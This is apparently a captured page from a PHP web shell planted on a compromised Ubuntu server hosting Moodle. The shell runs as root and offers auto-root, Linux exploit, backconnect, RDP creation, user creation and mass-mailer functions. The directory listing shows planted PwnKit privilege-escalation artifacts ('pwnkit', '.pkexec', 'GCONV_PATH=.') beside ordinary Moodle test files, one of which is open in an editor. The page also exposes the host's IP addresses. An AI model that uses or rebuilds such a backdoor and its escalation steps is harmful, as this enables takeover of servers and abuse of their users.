Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : modinfolib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for lib/modinfolib.php. * * @package core * @category phpunit * @copyright 2012 Andrew Davis */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/modinfolib.php'); require_once($CFG->libdir . '/conditionlib.php'); /** * Unit tests for modinfolib.php * * @copyright 2012 Andrew Davis * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class modinfolib_testcase extends advanced_testcase { /** * Test is_user_access_restricted_by_group() * * The underlying groups system is more thoroughly tested in lib/tests/grouplib_test.php */ public function test_is_user_access_restricted_by_group() { global $DB, $CFG, $USER; $this->resetAfterTest(true); // Create a course $course = $this->getDataGenerator()->create_course(); $coursecontext = context_course::instance($course->id); // Create a mod_assign instance $assign = $this->getDataGenerator()->create_module('assign', array('course'=>$course->id)); $cm_info = get_fast_modinfo($course)->instances['assign'][$assign->id]; // Create and enrol a student // Enrolment is necessary for groups to work $studentrole = $DB->get_record('role', array('shortname'=>'student'), '*', MUST_EXIST); $student = $this->getDataGenerator()->create_user(); role_assign($studentrole->id, $student->id, $coursecontext); $enrolplugin = enrol_get_plugin('manual'); $enrolplugin->add_instance($course); $enrolinstances = enrol_get_instances($course->id, false); foreach ($enrolinstances as $enrolinstance) { if ($enrolinstance->enrol === 'manual') { break; } } $enrolplugin->enrol_user($enrolinstance, $student->id); // Switch to a student and reload the context info $this->setUser($student); $cm_info = $this->refresh_cm_info($course, $assign); // Create up a teacher $teacherrole = $DB->get_record('role', array('shortname'=>'editingteacher'), '*', MUST_EXIST); $teacher = $this->getDataGenerator()->create_user(); role_assign($teacherrole->id, $teacher->id, $coursecontext); // Create 2 groupings $grouping1 = $this->getDataGenerator()->create_grouping(array('courseid' => $course->id, 'name' => 'grouping1')); $grouping2 = $this->getDataGenerator()->create_grouping(array('courseid' => $course->id, 'name' => 'grouping2')); // Create 2 groups and put them in the groupings $group1 = $this->getDataGenerator()->create_group(array('courseid' => $course->id, 'idnumber' => 'group1')); groups_assign_grouping($grouping1->id, $group1->id); $group2 = $this->getDataGenerator()->create_group(array('courseid' => $course->id, 'idnumber' => 'group2')); groups_assign_grouping($grouping2->id, $group2->id); // If groups are disabled, the activity isn't restricted. $CFG->enablegroupmembersonly = false; $this->assertFalse($cm_info->is_user_access_restricted_by_group()); // If groups are on but "group members only" is off, the activity isn't restricted. $CFG->enablegroupmembersonly = true; $cm_info->groupmembersonly = NOGROUPS; $this->assertFalse($cm_info->is_user_access_restricted_by_group()); // If "group members only" is on but user is in the wrong group, the activity is restricted. $cm_info->groupmembersonly = SEPARATEGROUPS; $cm_info->groupingid = $grouping1->id; $this->assertTrue(groups_add_member($group2, $USER)); $this->assertTrue($cm_info->is_user_access_restricted_by_group()); // If the user is in the required group, the activity isn't restricted. groups_remove_member($group2, $USER); $this->assertTrue(groups_add_member($group1, $USER)); $cm_info = $this->refresh_cm_info($course, $assign); $this->assertFalse($cm_info->is_user_access_restricted_by_group()); // Switch to a teacher and reload the context info $this->setUser($teacher); $cm_info = $this->refresh_cm_info($course, $assign); // If the user isn't in the required group but has 'moodle/site:accessallgroups', the activity isn't restricted. $this->assertTrue(has_capability('moodle/site:accessallgroups', $coursecontext)); $this->assertFalse($cm_info->is_user_access_restricted_by_group()); } /** * Test is_user_access_restricted_by_conditional_access() * * The underlying conditional access system is more thoroughly tested in lib/tests/conditionlib_test.php */ public function test_is_user_access_restricted_by_conditional_access() { global $DB, $CFG; $this->resetAfterTest(true); // Create a course and a mod_assign instance $course = $this->getDataGenerator()->create_course(); $assign = $this->getDataGenerator()->create_module('assign', array('course'=>$course->id)); $cm_info = get_fast_modinfo($course)->instances['assign'][$assign->id]; // Set up a teacher $coursecontext = context_course::instance($course->id); $teacherrole = $DB->get_record('role', array('shortname'=>'editingteacher'), '*', MUST_EXIST); $teacher = $this->getDataGenerator()->create_user(); role_assign($teacherrole->id, $teacher->id, $coursecontext); // Mark the activity as unavailable (due to unmet conditions) // Testing of the code that normally turns this flag on and off is done in conditionlib_test.php $cm_info->available = false; // Set the activity to be hidden entirely if it is unavailable to the user $cm_info->showavailability = CONDITION_STUDENTVIEW_HIDE; // If conditional availability is disabled the activity will always be unrestricted $CFG->enableavailability = false; $this->assertFalse($cm_info->is_user_access_restricted_by_conditional_access()); // Turn on conditional availability $CFG->enableavailability = true; // The unavailable, hidden entirely activity should now be restricted $this->assertTrue($cm_info->is_user_access_restricted_by_conditional_access()); // If the activity is available it should not be restricted $cm_info->available = true; $this->assertFalse($cm_info->is_user_access_restricted_by_conditional_access()); // If the activity is unavailable and set to be greyed out it should not be restricted $cm_info->available = false; $cm_info->showavailability = CONDITION_STUDENTVIEW_SHOW; $this->assertFalse($cm_info->is_user_access_restricted_by_conditional_access()); // If the activity is unavailable and set to be hidden entirely its restricted unless user has 'moodle/course:viewhiddenactivities' $cm_info->available = false; $cm_info->showavailability = CONDITION_STUDENTVIEW_HIDE; // Switch to a teacher and reload the context info $this->setUser($teacher); $cm_info = $this->refresh_cm_info($course, $assign); $this->assertTrue(has_capability('moodle/course:viewhiddenactivities', $coursecontext)); $this->assertFalse($cm_info->is_user_access_restricted_by_conditional_access()); } private function refresh_cm_info($course, $assign) { get_fast_modinfo(0, 0, true); return get_fast_modinfo($course)->instances['assign'][$assign->id]; } }
Close